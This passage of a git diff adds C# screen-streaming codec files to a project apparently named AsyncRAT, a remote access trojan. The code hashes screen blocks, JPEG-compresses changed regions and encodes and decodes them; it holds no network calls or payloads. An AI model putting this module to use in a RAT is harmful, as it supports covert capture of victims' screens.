rect.Height); + finalUpdates[index] = cBlock; + } + else + { + finalUpdates.Add(cBlock); + } + } + x += s.Width; + } + } + + for (int i = 0; i < finalUpdates.Count; i++) + { + Rectangle rect = finalUpdates[i]; + sbBmp.CopyBlock(rect, ref buffer); + + fixed (byte* ptr = buffer) + { + using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * LastFrame.Info.PixelSize, LastFrame.bitmapData.PixelFormat, new IntPtr(ptr))) + { + buffer = base.jpgCompression.Compress(TmpBmp); + } + } + + outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); + outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4); + outStream.Write(buffer, 0, buffer.Length); + TotalDataLength += buffer.Length + (4 * 5); + } + + outStream.Position = oldPos; + outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); + + Blocks.Clear(); + SetLastFrame(sbBmp); + ms.Close(); + ms.Dispose(); + } + } + + /// + /// Decode the video stream + /// + /// The input stream + /// The image that has been decoded + public override Bitmap DecodeData(Stream inStream) + { + byte[] temp = new byte[4]; + inStream.Read(temp, 0, 4); + int DataSize = BitConverter.ToInt32(temp, 0); + + if (decodedBitmap == null) + { + temp = new byte[DataSize]; + inStream.Read(temp, 0, temp.Length); + this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + return decodedBitmap; + } + + List updates = new List(); + Rectangle rect; + Graphics g = Graphics.FromImage(decodedBitmap); + Bitmap tmp; + byte[] buffer = null; + MemoryStream m; + + while (DataSize > 0) + { + byte[] tempData = new byte[4 * 5]; + inStream.Read(tempData, 0, tempData.Length); + + rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), + BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); + int UpdateLen = BitConverter.ToInt32(tempData, 16); + buffer = new byte[UpdateLen]; + inStream.Read(buffer, 0, buffer.Length); + + if (onDecodeDebugScan != null) + onDecodeDebugScan(rect); + + m = new MemoryStream(buffer); + tmp = (Bitmap)Image.FromStream(m); + g.DrawImage(tmp, rect.Location); + tmp.Dispose(); + + m.Close(); + m.Dispose(); + DataSize -= buffer.Length + (4 * 5); + } + g.Dispose(); + return decodedBitmap; + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Encoders/GridCoder/GridBlock.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Encoders/GridCoder/GridBlock.cs new file mode 100644 index 0000000..ddbd18b --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Encoders/GridCoder/GridBlock.cs @@ -0,0 +1,26 @@ +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Text; + +namespace StreamLibrary.Encoders.GridCoder +{ + internal class GridBlock + { + public Rectangle Rect { get; private set; } + public ulong Hash { get; private set; } + private GridEncoder encoder; + + public GridBlock(Rectangle Rect, GridEncoder encoder) + { + this.encoder = encoder; + this.Rect = Rect; + CalculateHash(); + } + + public void CalculateHash() + { + + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Encoders/GridCoder/GridEncoder.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Encoders/GridCoder/GridEncoder.cs new file mode 100644 index 0000000..6cfcdfa --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Encoders/GridCoder/GridEncoder.cs @@ -0,0 +1,47 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace StreamLibrary.Encoders.GridCoder +{ + public class GridEncoder : IEncoder + { + public override ulong CachedSize + { + get; + internal set; + } + + public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; + public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; + + public override int BufferCount + { + get { return 1; } + } + + public override CodecOption CodecOptions + { + get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; } + } + + + + public override unsafe void CodeImage(IntPtr Scan0, System.Drawing.Rectangle ScanArea, System.Drawing.Size ImageSize, System.Drawing.Imaging.PixelFormat Format, System.IO.Stream outStream) + { + + + + } + + public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream) + { + return null; + } + + public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length) + { + return null; + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Enums.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Enums.cs new file mode 100644 index 0000000..bc97633 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Enums.cs @@ -0,0 +1,24 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace StreamLibrary +{ + public enum CodecOption + { + /// + /// The Previous and next image size must be equal + /// + RequireSameSize, + /// + /// If the codec is having a stream buffer + /// + HasBuffers, + /// + /// The image will be disposed by the codec and shall not be disposed by the user + /// + AutoDispose, + /// No codec options were used + None + }; +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IEncoder.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IEncoder.cs new file mode 100644 index 0000000..06331f9 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IEncoder.cs @@ -0,0 +1,46 @@ +using StreamLibrary.src; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Text; + +namespace StreamLibrary +{ + public abstract class IEncoder + { + protected LzwCompression lzwCompression; + public abstract ulong CachedSize { get; internal set; } + protected object ImageProcessLock { get; private set; } + + private int _imageQuality; + public int ImageQuality + { + get { return _imageQuality; } + set + { + _imageQuality = value; + lzwCompression = new LzwCompression(value); + } + } + + + public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; + public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; + + public IEncoder(int ImageQuality = 100) + { + this.ImageQuality = ImageQuality; + this.ImageProcessLock = new object(); + } + + public abstract int BufferCount { get; } + public abstract CodecOption CodecOptions { get; } + public abstract unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream); + public abstract unsafe Bitmap DecodeData(Stream inStream); + public abstract unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length); + + + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IUnsafeCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IUnsafeCodec.cs new file mode 100644 index 0000000..83e703c --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IUnsafeCodec.cs @@ -0,0 +1,46 @@ +using StreamLibrary.src; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Text; + +namespace StreamLibrary +{ + public abstract class IUnsafeCodec + { + protected JpgCompression jpgCompression; + protected LzwCompression lzwCompression; + public abstract ulong CachedSize { get; internal set; } + protected object ImageProcessLock { get; private set; } + + private int _imageQuality; + public int ImageQuality + { + get { return _imageQuality; } + set + { + _imageQuality = value; + jpgCompression = new JpgCompression(value); + lzwCompression = new LzwCompression(value); + } + } + + + public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; + public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; + + public IUnsafeCodec(int ImageQuality = 100) + { + this.ImageQuality = ImageQuality; + this.ImageProcessLock = new object(); + } + + public abstract int BufferCount { get; } + public abstract CodecOption CodecOptions { get; } + public abstract unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream); + public abstract unsafe Bitmap DecodeData(Stream inStream); + public abstract unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length); + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IVideoCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IVideoCodec.cs new file mode 100644 index 0000000..3430223 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IVideoCodec.cs @@ -0,0 +1,35 @@ +using StreamLibrary.src; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.IO; +using System.Text; + +namespace StreamLibrary +{ + public abstract class IVideoCodec + { + public delegate void VideoCodeProgress(Stream stream, Rectangle[] MotionChanges); + public delegate void VideoDecodeProgress(Bitmap bitmap); + public delegate void VideoDebugScanningDelegate(Rectangle ScanArea); + + public abstract event VideoCodeProgress onVideoStreamCoding; + public abstract event VideoDecodeProgress onVideoStreamDecoding; + public abstract event VideoDebugScanningDelegate onCodeDebugScan; + public abstract event VideoDebugScanningDelegate onDecodeDebugScan; + protected JpgCompression jpgCompression; + public abstract ulong CachedSize { get; internal set; } + public int ImageQuality { get; set; } + + public IVideoCodec(int ImageQuality = 100) + { + this.jpgCompression = new JpgCompression(ImageQuality); + this.ImageQuality = ImageQuality; + } + + public abstract int BufferCount { get; } + public abstract CodecOption CodecOptions { get; } + public abstract void CodeImage(Bitmap bitmap, Stream outStream); + public abstract Bitmap DecodeData(Stream inStream); + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeCacheCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeCacheCodec.cs new file mode 100644 index 0000000..d48beca --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeCacheCodec.cs @@ -0,0 +1,324 @@ +using StreamLibrary.src; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Text; + +namespace StreamLibrary.UnsafeCodecs +{ + public class UnsafeCacheCodec : IUnsafeCodec + { + private const int BlockCount = 5; + private const int HashBlockCount = 8192; + + public override ulong CachedSize + { + get { return 0; } + internal set { } + } + + public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; + public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; + + public override int BufferCount + { + get { return 0; } + } + + public override CodecOption CodecOptions + { + get { return CodecOption.HasBuffers | CodecOption.RequireSameSize; } + } + + private Bitmap decodedBitmap; + private int EncodedWidth; + private int EncodedHeight; + private PixelFormat EncodedFormat; + private MurmurHash2Unsafe hasher; + private SortedList> EncodeBuffer; + private Rectangle[] Offsets; + private BlockInfo[] EncodeHashBlocks; + private BlockInfo[] DecodeHashBlocks; + + public ulong EncodedFrames { get; private set; } + public ulong DecodedFrames { get; private set; } + + public UnsafeCacheCodec(int ImageQuality = 80) + : base(ImageQuality) + { + this.hasher = new MurmurHash2Unsafe(); + this.Offsets = new Rectangle[BlockCount]; + this.EncodeHashBlocks = new BlockInfo[HashBlockCount]; + this.DecodeHashBlocks = new BlockInfo[HashBlockCount]; + for (int i = 0; i < HashBlockCount; i++) + { + EncodeHashBlocks[i] = new BlockInfo(); + DecodeHashBlocks[i] = new BlockInfo(); + } + } + + public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream) + { + if (ImageSize.Width == 0 || ImageSize.Height == 0) + throw new ArgumentException("The width and height must be 1 or higher"); + if (ImageSize.Width < BlockCount || ImageSize.Height < BlockCount) + throw new Exception("The Image size Width/Height must be bigger then the Block Count " + BlockCount + "x" + BlockCount); + + int PixelSize = 0; + switch (Format) + { + case PixelFormat.Format24bppRgb: + PixelSize = 3; + break; + case PixelFormat.Format32bppArgb: + case PixelFormat.Format32bppPArgb: + PixelSize = 4; + break; + default: + throw new NotSupportedException(Format.ToString()); + } + + int Stride = ImageSize.Width * PixelSize; + int RawLength = Stride * ImageSize.Height; + + if (EncodedFrames == 0) + { + this.EncodedFormat = Format; + this.EncodedWidth = ImageSize.Width; + this.EncodedHeight = ImageSize.Height; + byte[] temp = null; + using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) + { + temp = base.jpgCompression.Compress(TmpBmp); + } + + outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); + outStream.Write(temp, 0, temp.Length); + + double size = (double)ImageSize.Width / (double)BlockCount; + + //fix floating point here + for (int i = 0, j = 0; i < BlockCount; i++, j += (int)size) + { + Offsets[i] = new Rectangle(j, 0, (int)size, 1); + } + + EncodeBuffer = new SortedList>(); + for (int y = 0; y < ImageSize.Height; y++) + { + for(int i = 0; i < Offsets.Length; i++) + { + if (!EncodeBuffer.ContainsKey(y)) + EncodeBuffer.Add(y, new SortedList()); + if (!EncodeBuffer[y].ContainsKey(Offsets[i].X)) + EncodeBuffer[y].Add(Offsets[i].X, 0); //0=hash + } + } + EncodedFrames++; + return; + } + + long oldPos = outStream.Position; + outStream.Write(new byte[4], 0, 4); + int TotalDataLength = 0; + + List ImageOffsets = new List(); + List ImageHashes = new List(); + + byte* pScan0 = (byte*)Scan0.ToInt32(); + for (int i = 0; i < Offsets.Length; i++) + { + for (int y = 0; y < ImageSize.Height; y++) + { + Rectangle ScanRect = Offsets[i]; + ScanRect.Y = y; + + int offset = (y * Stride) + (ScanRect.X * PixelSize); + + if (offset+Stride > Stride * ImageSize.Height) + break; + + uint Hash = hasher.Hash(pScan0 + offset, (int)Stride); + uint BlockOffset = Hash % HashBlockCount; + + BlockInfo blockInfo = EncodeHashBlocks[BlockOffset]; + + if (EncodeBuffer[y][ScanRect.X] != Hash) + { + if (!blockInfo.Hashes.ContainsKey(Hash)) + { + int index = ImageOffsets.Count - 1; + if (ImageOffsets.Count > 0 && ImageOffsets[index].Location.Y + 1 == ScanRect.Y) + { + Rectangle rect = ImageOffsets[index].Location; + ImageOffsets[index].Location = new Rectangle(rect.X, rect.Y, rect.Width, rect.Height + 1); + } + else + { + ImageOffsets.Add(new HashBlock(Hash, false, new Rectangle(ScanRect.X, y, ScanRect.Width, 1))); + } + + blockInfo.Hashes.Add(Hash, new HashBlock(Hash, false, new Rectangle(ScanRect.X, y, ScanRect.Width, 1))); + ImageHashes.Add(Hash); + } + EncodeBuffer[y][ScanRect.X] = Hash; + } + } + } + + if (ImageOffsets.Count > 0) + { + for (int i = 0; i < Offsets.Length; i++) + { + Rectangle TargetOffset = Offsets[i]; + int Height = GetOffsetHeight(ImageOffsets, TargetOffset); + Bitmap TmpBmp = new Bitmap(TargetOffset.Width, Height, Format); + BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); + int blockStride = PixelSize * TargetOffset.Width; + List UsedOffsets = new List(); + + for (int j = 0; j < ImageOffsets.Count; j++) + { + Rectangle rect = ImageOffsets[j].Location; + + if (rect.Width != TargetOffset.Width || rect.X != TargetOffset.X) + continue; //error in 1440p, did not tested futher + + for (int o = 0, offset = 0; o < rect.Height; o++) + { + int blockOffset = (Stride * (rect.Y + o)) + (PixelSize * rect.X); + NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes + offset += blockStride; + UsedOffsets.Add(ImageOffsets[j]); + } + } + TmpBmp.UnlockBits(TmpData); + TmpBmp.Dispose(); + + outStream.Write(BitConverter.GetBytes((short)UsedOffsets.Count), 0, 2); + if (UsedOffsets.Count > 0) + { + outStream.Write(BitConverter.GetBytes((short)UsedOffsets[0].Location.X), 0, 2); + for (int j = 0; j < UsedOffsets.Count; j++) + { + outStream.Write(BitConverter.GetBytes((short)UsedOffsets[j].Location.Y), 0, 2); + outStream.Write(BitConverter.GetBytes((short)UsedOffsets[j].Location.Height), 0, 2); + outStream.Write(BitConverter.GetBytes(UsedOffsets[j].Hash), 0, 4); + } + byte[] CompressedImg = base.jpgCompression.Compress(TmpBmp); + outStream.Write(BitConverter.GetBytes(CompressedImg.Length), 0, 4); + outStream.Write(CompressedImg, 0, CompressedImg.Length); + } + + + //TotalDataLength += (int)length + (4 * 5); + } + } + EncodedFrames++; + } + + private int GetOffsetHeight(List ImageOffsets, Rectangle rect) + { + int height = 0; + for (int i = 0; i < ImageOffsets.Count; i++) + { + if (ImageOffsets[i].Location.Width == rect.Width && ImageOffsets[i].Location.X == rect.X) + height += ImageOffsets[i].Location.Height; + } + return height; + } + + public override Bitmap DecodeData(Stream inStream) + { + byte[] temp = new byte[4]; + inStream.Read(temp, 0, 4); + int DataSize = BitConverter.ToInt32(temp, 0); + + if (decodedBitmap == null) + { + temp = new byte[DataSize]; + inStream.Read(temp, 0, temp.Length); + this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + return decodedBitmap; + } + //return decodedBitmap; + + List updates = new List(); + Rectangle rect; + Graphics g = Graphics.FromImage(decodedBitmap); + Bitmap tmp; + byte[] buffer = null; + MemoryStream m; + + while (DataSize > 0) + { + byte[] tempData = new byte[4 * 5]; + inStream.Read(tempData, 0, tempData.Length); + + rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), + BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); + int UpdateLen = BitConverter.ToInt32(tempData, 16); + buffer = new byte[UpdateLen]; + inStream.Read(buffer, 0, buffer.Length); + + if (onDecodeDebugScan != null) + onDecodeDebugScan(rect); + + m = new MemoryStream(buffer); + tmp = (Bitmap)Image.FromStream(m); + g.DrawImage(tmp, rect.Location); + tmp.Dispose(); + + m.Close(); + m.Dispose(); + DataSize -= UpdateLen + (4 * 5); + } + g.Dispose(); + return decodedBitmap; + } + + public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length) + { + return null; + } + + private class BlockInfo + { + public SortedList Hashes { get; private set; } + public BlockInfo() + { + Hashes = new SortedList(); + } + } + private class HashBlock + { + public bool Cached { get; set; } + public uint Hash { get; set; } + public Rectangle Location { get; set; } + + public HashBlock(uint Hash, bool Cached, Rectangle Location) + { + this.Hash = Hash; + this.Cached = Cached; + this.Location = Location; + } + public HashBlock() + { + + } + } + private class ImageOffset + { + public Rectangle Location { get; set; } + public List Hashes { get; set; } + + public ImageOffset() + { + this.Hashes = new List(); + } + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeCachedStreamCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeCachedStreamCodec.cs new file mode 100644 index 0000000..450d4fc --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeCachedStreamCodec.cs @@ -0,0 +1,308 @@ +using StreamLibrary.src; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Text; + +namespace StreamLibrary.UnsafeCodecs +{ + public class UnsafeCachedStreamCodec : IUnsafeCodec + { + public override ulong CachedSize + { + get; + internal set; + } + + public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; + public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; + + public override int BufferCount + { + get { return 0; } + } + + public override CodecOption CodecOptions + { + get { return CodecOption.HasBuffers; } + } + + private PixelFormat EncodedFormat; + private int EncodedWidth; + private int EncodedHeight; + private static Size CheckBlock = new Size(50, 50); + private MurmurHash2Unsafe Hasher = new MurmurHash2Unsafe(); + private List Frames = new List(); + public const int MAX_FRAMES = 120; + + private ulong[] DecodeBuffer; + private Bitmap DecodedBitmap; + private List DecodedFrames = new List(); + + public UnsafeCachedStreamCodec(int ImageQuality) + : base(ImageQuality) + { + + } + + public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream) + { + byte* pScan0 = (byte*)Scan0.ToInt32(); + if (!outStream.CanWrite) + throw new Exception("Must have access to Write in the Stream"); + + int Stride = 0; + int RawLength = 0; + int PixelSize = 0; + + switch (Format) + { + case PixelFormat.Format24bppRgb: + PixelSize = 3; + break; + case PixelFormat.Format32bppArgb: + case PixelFormat.Format32bppPArgb: + PixelSize = 4; + break; + default: + throw new NotSupportedException(Format.ToString()); + } + + Stride = ImageSize.Width * PixelSize; + RawLength = Stride * ImageSize.Height; + + if (EncodedWidth == 0 && EncodedHeight == 0) + { + this.EncodedFormat = Format; + this.EncodedWidth = ImageSize.Width; + this.EncodedHeight = ImageSize.Height; + + byte[] temp = null; + using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) + { + temp = base.jpgCompression.Compress(TmpBmp); + } + outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); + outStream.Write(temp, 0, temp.Length); + return; + } + + Frame frame = new Frame(ImageSize.Width, ImageSize.Height); + + int Blocks = (ScanArea.Width / CheckBlock.Width) * (ScanArea.Height / CheckBlock.Height); + int RawSizeUsed = 0; + + long oldPos = outStream.Position; + outStream.Write(new byte[4], 0, 4); + int TotalDataLength = 0; + List ChangedBlocks = new List(); + + for(int y = ScanArea.Y; y < ScanArea.Height; ) + { + int height = y + CheckBlock.Height < ScanArea.Height ? CheckBlock.Height : ScanArea.Height - y; + for (int x = ScanArea.X; x < ScanArea.Width; ) + { + int width = x + CheckBlock.Width < ScanArea.Width ? CheckBlock.Width : ScanArea.Width - x; + int BlockStride = Format == PixelFormat.Format24bppRgb ? width * 3 : width * 4; + decimal FinalHash = 0; + + for (int h = 0; h < height; h++) + { + int Offset = FastBitmap.CalcImageOffset(x, y+h, Format, ImageSize.Width); + FinalHash += Hasher.Hash(pScan0 + Offset, BlockStride); + } + + if(onCodeDebugScan != null) + onCodeDebugScan(new Rectangle(x, y, width, height)); + + bool FoundBlock = false; + decimal FoundHash = 0; + int FrameIndex = 0; + for (int i = 0; i < Frames.Count; i++) + { + decimal hash = Frames[i].GetHashBlock(x, y); + if (hash == FinalHash) + { + FrameIndex = i; + FoundBlock = true; + FoundHash = hash; + break; + } + } + + frame.AddHashBlock(x, y, FinalHash); + + if (!FoundBlock) + { + int index = ChangedBlocks.Count - 1; + Rectangle cBlock = new Rectangle(x, y, width, height); + + if (ChangedBlocks.Count > 0 && (ChangedBlocks[index].X + ChangedBlocks[index].Width) == cBlock.X) + { + Rectangle rect = ChangedBlocks[index]; + int newWidth = cBlock.Width + rect.Width; + cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); + ChangedBlocks[index] = cBlock; + } + /*else if (ChangedBlocks.Count > 0 && (ChangedBlocks[index].Y + ChangedBlocks[index].Height) == cBlock.Y) + { + Rectangle rect = ChangedBlocks[index]; + int newHeight = cBlock.Height + rect.Height; + cBlock = new Rectangle(rect.X, rect.Y, rect.Width, newHeight); + ChangedBlocks[index] = cBlock; + }*/ + else + { + ChangedBlocks.Add(cBlock); + } + RawSizeUsed += BlockStride * height; + } + x += width; + } + y += height; + } + + //write all the blocks + for (int i = 0; i < ChangedBlocks.Count; i++) + { + Rectangle rect = ChangedBlocks[i]; + int blockStride = PixelSize * rect.Width; + + Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); + BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); + for (int j = 0, offset = 0; j < rect.Height; j++) + { + int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); + NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes + offset += blockStride; + } + TmpBmp.UnlockBits(TmpData); + + outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); + outStream.Write(new byte[4], 0, 4); + + long length = outStream.Position; + long OldPos = outStream.Position; + base.jpgCompression.Compress(TmpBmp, ref outStream); + length = outStream.Position - length; + + outStream.Position = OldPos - 4; + outStream.Write(BitConverter.GetBytes((int)length), 0, 4); + outStream.Position += length; + + TmpBmp.Dispose(); + TotalDataLength += (int)length + (4 * 5); + } + outStream.Position = oldPos; + outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); + ChangedBlocks.Clear(); + + Frames.Add(frame); + if (Frames.Count > MAX_FRAMES) + Frames.RemoveAt(0); + } + + public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream) + { + byte[] temp = new byte[4]; + inStream.Read(temp, 0, 4); + int DataSize = BitConverter.ToInt32(temp, 0); + + if (DecodedBitmap == null) + { + temp = new byte[DataSize]; + inStream.Read(temp, 0, temp.Length); + this.DecodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + DecodedFrames.Add(DecodedBitmap); + return DecodedBitmap; + } + + Rectangle rect; + Graphics g = Graphics.FromImage(DecodedBitmap); + Bitmap tmp; + byte[] buffer = null; + MemoryStream m; + + while (DataSize > 0) + { + byte[] tempData = new byte[4 * 5]; + inStream.Read(tempData, 0, tempData.Length); + + rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), + BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); + int UpdateLen = BitConverter.ToInt32(tempData, 16); + buffer = new byte[UpdateLen]; + inStream.Read(buffer, 0, buffer.Length); + + if (onDecodeDebugScan != null) + onDecodeDebugScan(rect); + + m = new MemoryStream(buffer); + tmp = (Bitmap)Image.FromStream(m); + g.DrawImage(tmp, rect.Location); + tmp.Dispose(); + + m.Close(); + m.Dispose(); + DataSize -= UpdateLen + (4 * 5); + } + g.Dispose(); + return DecodedBitmap; + } + + public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length) + { + return new Bitmap(10, 10); + } + + private class HashedBlock + { + public int X { get; private set; } + public int Y { get; private set; } + public int Width { get; private set; } + public int Height { get; private set; } + public int FrameIndex { get; private set; } + public HashedBlock(int x, int y, int width, int height, int FrameIndex) + { + this.X = x; + this.Y = y; + this.Width = width; + this.Height = height; + this.FrameIndex = FrameIndex; + } + + public override string ToString() + { + return "X:" + X + ", Y:" + Y + ", Width:" + Width + ", Height:" + Height + ", FrameIndex:" + FrameIndex; + } + } + + private class Frame + { + public decimal[,] HashBlocks { get; private set; } + + public Frame(int ImageWidth, int ImageHeight) + { + this.HashBlocks = new decimal[(ImageWidth / UnsafeCachedStreamCodec.CheckBlock.Width) + 2, (ImageHeight / UnsafeCachedStreamCodec.CheckBlock.Height) + 2]; + } + + public void AddHashBlock(int x, int y, decimal Hash) + { + x = x / UnsafeCachedStreamCodec.CheckBlock.Width; + y = y / UnsafeCachedStreamCodec.CheckBlock.Height; + this.HashBlocks[x, y] = Hash; + } + public decimal GetHashBlock(int x, int y) + { + x = x / UnsafeCachedStreamCodec.CheckBlock.Width; + y = y / UnsafeCachedStreamCodec.CheckBlock.Height; + return this.HashBlocks[x, y]; + } + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeMiniCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeMiniCodec.cs new file mode 100644 index 0000000..b4b0b8c --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeMiniCodec.cs @@ -0,0 +1,365 @@ +using StreamLibrary.src; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Text; + +namespace StreamLibrary.UnsafeCodecs +{ + public class UnsafeMiniCodec : IUnsafeCodec + { + public override ulong CachedSize + { + get; + internal set; + } + + public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; + public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; + + public override int BufferCount + { + get { return 1; } + } + + public override CodecOption CodecOptions + { + get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; } + } + + private PixelFormat EncodedFormat; + private int EncodedWidth; + private int EncodedHeight; + private byte[] EncodeBuffer; + private Bitmap decodedBitmap; + + private Size CheckBlock { get { return new Size(50, 50); } } + + public UnsafeMiniCodec(int ImageQuality = 100) + : base(ImageQuality) + { + + } + + public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream) + { + lock (this.ImageProcessLock) + { + byte* pScan0 = (byte*)Scan0.ToInt32(); + if (!outStream.CanWrite) + throw new Exception("Must have access to Write in the Stream"); + + int Stride = 0; + int RawLength = 0; + int PixelSize = 0; + + FastBitmap.CalcImageOffset(0, 0, Format, ScanArea.Width); //check for FastBitmap Support + switch (Format) + { + case PixelFormat.Format24bppRgb: + case PixelFormat.Format32bppRgb: + PixelSize = 3; + break; + case PixelFormat.Format32bppArgb: + case PixelFormat.Format32bppPArgb: + PixelSize = 4; + break; + default: + throw new NotSupportedException(Format + " is not supported."); + } + + Stride = ImageSize.Width * PixelSize; + RawLength = Stride * ImageSize.Height; + + //first frame + if (EncodeBuffer == null) + { + this.EncodedFormat = Format; + this.EncodedWidth = ImageSize.Width; + this.EncodedHeight = ImageSize.Height; + this.EncodeBuffer = new byte[RawLength]; + fixed (byte* ptr = 